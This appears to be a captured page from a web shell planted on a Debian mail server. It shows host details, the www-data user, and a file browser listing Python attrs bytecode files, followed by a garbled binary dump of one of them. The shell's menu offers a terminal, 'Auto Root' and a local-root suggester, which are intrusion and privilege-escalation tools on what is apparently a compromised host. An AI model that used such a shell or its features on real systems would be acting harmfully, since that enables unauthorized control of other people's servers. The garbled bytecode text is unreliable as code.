Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
attr /
__pycache__ /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.cpython-311.pyc
2.56
KB
-rw-r--r--
2025-01-15 04:26
_cmp.cpython-311.pyc
4.91
KB
-rw-r--r--
2025-01-15 04:26
_compat.cpython-311.pyc
5.84
KB
-rw-r--r--
2025-01-15 04:26
_config.cpython-311.pyc
1.11
KB
-rw-r--r--
2025-01-15 04:26
_funcs.cpython-311.pyc
14.22
KB
-rw-r--r--
2025-01-15 04:26
_make.cpython-311.pyc
102.8
KB
-rw-r--r--
2025-01-15 04:26
_next_gen.cpython-311.pyc
6.34
KB
-rw-r--r--
2025-01-15 04:26
_version_info.cpython-311.pyc
3.5
KB
-rw-r--r--
2025-01-15 04:26
converters.cpython-311.pyc
4.51
KB
-rw-r--r--
2025-01-15 04:26
exceptions.cpython-311.pyc
3.86
KB
-rw-r--r--
2025-01-15 04:26
filters.cpython-311.pyc
2.2
KB
-rw-r--r--
2025-01-15 04:26
setters.cpython-311.pyc
1.85
KB
-rw-r--r--
2025-01-15 04:26
validators.cpython-311.pyc
27.71
KB
-rw-r--r--
2025-01-15 04:26
Save
Rename
� �c� � � � d Z ddlmZ ddlmZ ddlmZ ddlmZ ddl mZmZm Z mZmZ ddlmZ dd d d d d d dd dd ddd d dd d d d d d�d �ZeZ eed d �� � Zed d d d d d d dd d d d d� d�Zd d d d�d�Zd d d�d�Zd S )z] These are keyword-only APIs that call `attr.s` and `attr.ib` with different default values. � )�partial� )�setters)�asdict)�astuple)�NOTHING�_frozen_setattrs�_ng_default_on_setattr�attrib�attrs)�UnannotatedAttributeErrorNTF)�these�repr�unsafe_hash�hash�init�slots�frozen�weakref_slot�str�auto_attribs�kw_only� cache_hash�auto_exc�eq�order�auto_detect�getstate_setstate� on_setattr�field_transformer� match_argsc � ��������� � ��� ��������� �� �������������� ���fd��� ���fd�}| �|S || � � S )a� Define an ``attrs`` class. Differences to the classic `attr.s` that it uses underneath: - Automatically detect whether or not *auto_attribs* should be `True` (c.f. *auto_attribs* parameter). - If *frozen* is `False`, run converters and validators when setting an attribute by default. - *slots=True* .. caution:: Usually this has only upsides and few visible effects in everyday programming. But it *can* lead to some suprising behaviors, so please make sure to read :term:`slotted classes`. - *auto_exc=True* - *auto_detect=True* - *order=False* - Some options that were only relevant on Python 2 or were kept around for backwards-compatibility have been removed. Please note that these are all defaults and you can change them as you wish. :param Optional[bool] auto_attribs: If set to `True` or `False`, it behaves exactly like `attr.s`. If left `None`, `attr.s` will try to guess: 1. If any attributes are annotated and no unannotated `attrs.fields`\ s are found, it assumes *auto_attribs=True*. 2. Otherwise it assumes *auto_attribs=False* and tries to collect `attrs.fields`\ s. For now, please refer to `attr.s` for the rest of the parameters. .. versionadded:: 20.1.0 .. versionchanged:: 21.3.0 Converters are also run ``on_setattr``. .. versionadded:: 22.2.0 *unsafe_hash* as an alias for *hash* (for :pep:`681` compliance). c � �� t di d| �d��d��d� �d��d� �d��d��d ��d ��d|�d��d ��d��d��d��d��dd�d��d� �d��d���S )N� maybe_clsr r r r r r r r r r r r r r r r �collect_by_mroTr r r r! � )r )�clsr r r r r r r r r r r r! r r r r r r r r s ��������������������0/usr/lib/python3/dist-packages/attr/_next_gen.py�do_itzdefine.<locals>.do_itY s �� �� � � ��c� ��%� � �� � �� � $�� � �� � �%� � �6� � &�� � �� � &�� � �G� � "�z� � �X� � �r� � �%�! �"